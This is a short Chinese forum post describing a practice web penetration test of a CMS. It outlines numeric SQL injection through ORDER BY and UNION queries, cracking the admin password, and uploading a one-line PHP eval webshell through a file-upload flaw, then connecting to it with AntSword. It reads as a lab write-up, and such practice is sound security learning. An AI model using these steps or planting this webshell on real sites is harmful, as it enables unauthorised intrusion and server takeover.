-
-
[分享]记一次cms的web渗透测试练习
-
发表于: 2024-8-19 09:05
-
点击文章发现
尝试进行sql注入
得到漏洞为数字型
通过order by语句得到字段总数为15
通过union联合查询得到显示的字段编号
将database()带入得到数据库名为cms
接下来就是查表名、字段名、具体数据
发现密码经过加密，尝试解密
通过解密得知admin账户的密码为123456
登陆后台
文件管理界面存在文件上传漏洞，尝试上传webshell
1 | <?php @eval($_POST[777])?> |
未做任何防护，上传成功！
用蚁剑连接webshell
连接成功！
